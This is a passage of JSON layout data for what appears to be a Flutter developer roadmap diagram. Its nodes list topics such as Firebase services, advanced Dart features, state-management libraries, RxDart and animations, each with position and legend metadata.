false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 1119.7051467174065\n      }\n    },\n    {\n      \"id\": \"lCVoKYJlQEYE2viAuThk7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1184.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bVeHBEoR_4kfPsEHmVYbp\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1184.7051467174065\n      }\n    },\n    {\n      \"id\": \"x4B0gmCo5sXFHYs3CYsOn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1237.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1237.7051467174065\n      }\n    },\n    {\n      \"id\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 192.3618127280065,\n        \"y\": 1237.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Firestore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W4gEPRYmk5Y7y3PjI6fR7\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 192.3618127280065,\n        \"y\": 1237.7051467174065\n      }\n    },\n    {\n      \"id\": \"YzJrDGmfS0vbWjnPnSFVo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1290.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Push Notifications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bVeHBEoR_4kfPsEHmVYbp\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1290.7051467174065\n      }\n    },\n    {\n      \"id\": \"4ZbGj54WR5iuk0V8X_cpL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1343.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Remote Config\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bVeHBEoR_4kfPsEHmVYbp\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1343.7051467174065\n      }\n    },\n    {\n      \"id\": \"bVeHBEoR_4kfPsEHmVYbp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1396.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloud Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 78.3618127280065,\n        \"y\": 1396.7051467174065\n      }\n    },\n    {\n      \"id\": \"bvojoCWJRSB6pdBFM1SbY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -323.64790096520323,\n        \"y\": 1374.3372555892688\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Advanced Dart\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -323.64790096520323,\n        \"y\": 1374.3372555892688\n      }\n    },\n    {\n      \"id\": \"nQio4JabDrFCmScx59Qit\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -178.14790096520323,\n        \"y\": 1169.4375727852225\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Core Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2y8y2CYMcmfmIkfBcObeY\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171\n      },\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -178.14790096520323,\n        \"y\": 1169.4375727852225\n      }\n    },\n    {\n      \"id\": \"C4wC3_wqNGl8umJ050-hJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 1321.3372555892688\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_guWOSGfTpErGkzs69g1R\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 1321.3372555892688\n      }\n    },\n    {\n      \"id\": \"fIOq8ZumOrAo5uz4nbq2k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -178.14790096520323,\n        \"y\": 1222.4375727852225\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Streams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2y8y2CYMcmfmIkfBcObeY\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171\n      },\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -178.14790096520323,\n        \"y\": 1222.4375727852225\n      }\n    },\n    {\n      \"id\": \"I1cqvOsVD7-86VPnrdTAv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -178.14790096520323,\n        \"y\": 1275.4375727852225\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Futures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2y8y2CYMcmfmIkfBcObeY\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171\n      },\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -178.14790096520323,\n        \"y\": 1275.4375727852225\n      }\n    },\n    {\n      \"id\": \"Nx6YqH-MiqX-UFMQNqeEp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -626.298072051004,\n        \"y\": 1321.3372555892688\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Collections\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"x5q_bWpxmpJFK8eaWZxuY\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -626.298072051004,\n        \"y\": 1321.3372555892688\n      }\n    },\n    {\n      \"id\": \"tMeuk-nsFMx3kVS7Yn4T0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -496.79807205100406,\n        \"y\": 1321.3372555892688\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lambdas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -496.79807205100406,\n        \"y\": 1321.3372555892688\n      }\n    },\n    {\n      \"id\": \"x5q_bWpxmpJFK8eaWZxuY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 1374.3372555892688\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Functional Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tMeuk-nsFMx3kVS7Yn4T0\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 315,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 1374.3372555892688\n      }\n    },\n    {\n      \"id\": \"t_75W0nyd0UBytwvJAQ1x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.4579568300146,\n        \"y\": 1427.3372555892688\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Isolates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MfqUMirRIEiM7pr5NiGF_\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.4579568300146,\n        \"y\": 1427.3372555892688\n      }\n    },\n    {\n      \"id\": \"_guWOSGfTpErGkzs69g1R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -557.298072051004,\n        \"y\": 1427.3372555892688\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Async / Await\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tMeuk-nsFMx3kVS7Yn4T0\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -557.298072051004,\n        \"y\": 1427.3372555892688\n      }\n    },\n    {\n      \"id\": \"bYJ0G-g4R5faoJfFjRQW7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -323.64790096520323,\n        \"y\": 1571.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"State Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oDgbRKKrdHWHyuodr8DS6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -323.64790096520323,\n        \"y\": 1571.2737248742874\n      }\n    },\n    {\n      \"id\": \"VRWeqMV7qOdPzM5RfgpGF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 1518.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ChangeNotifier\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aet6mLBkB1BtxI8e7x-h3\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 1518.2737248742874\n      }\n    },\n    {\n      \"id\": \"aRmdyC2pzmR9r1ybU2CTP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -557.298072051004,\n        \"y\": 1518.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ValueNotifier\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ozQQKmfO_Ir9aJIMBvijK\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159\n      },\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -557.298072051004,\n        \"y\": 1518.2737248742874\n      }\n    },\n    {\n      \"id\": \"DoqnE2Iy3lKzEm88qjKI-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 1571.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Redux\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aet6mLBkB1BtxI8e7x-h3\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 1571.2737248742874\n      }\n    },\n    {\n      \"id\": \"KWT-Lu-HCeA3GdZawD0a7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -557.298072051004,\n        \"y\": 1571.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Riverpod\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MfqUMirRIEiM7pr5NiGF_\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159\n      },\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -557.298072051004,\n        \"y\": 1571.2737248742874\n      }\n    },\n    {\n      \"id\": \"ZfkaTipYJ1jLY-RC3mdmt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 1624.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BLoC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aet6mLBkB1BtxI8e7x-h3\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 1624.2737248742874\n      }\n    },\n    {\n      \"id\": \"MfqUMirRIEiM7pr5NiGF_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -557.298072051004,\n        \"y\": 1624.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Provider\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_guWOSGfTpErGkzs69g1R\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159\n      },\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -557.298072051004,\n        \"y\": 1624.2737248742874\n      }\n    },\n    {\n      \"id\": \"nK_ZKTfNc8P-RJoz5jY32\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 1677.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GetX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BjE4Qvjpi0i_s4Oib9765\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 314,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 1677.2737248742874\n      }\n    },\n    {\n      \"id\": \"wbush8eQsi9aDSRobGAyG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 90.79463183718707,\n        \"y\": 1571.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Reactive Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": 90.79463183718707,\n        \"y\": 1571.2737248742874\n      }\n    },\n    {\n      \"id\": \"ozQQKmfO_Ir9aJIMBvijK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.8618127280065,\n        \"y\": 1489.2737248742874\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RxDart\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MfqUMirRIEiM7pr5NiGF_\",\n        \"legend\": {\n          \"id\": \"VHDZQqz8L4sTfaI3pxDjc\",\n          \"label\": \"Order in roadmap not strict (learn anytime)\",\n          \"color\": \"#b0b0b0\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159\n      },\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 210.8618127280065,\n        \"y\": 1489.2737248742874\n      }\n    },\n    {\n      \"id\": \"KLoL-055KShGrQ-NQosy8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 90.79463183718707,\n        \"y\": 1765.022454238067\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Animations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": 90.79463183718707,\n        \"y\": 1765.022454238067\n      }\n    },\n    {\n      \"id\": \"eXaP_U-EzptBuOp5R0KK3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -273.64790096520323,\n        \"y\": 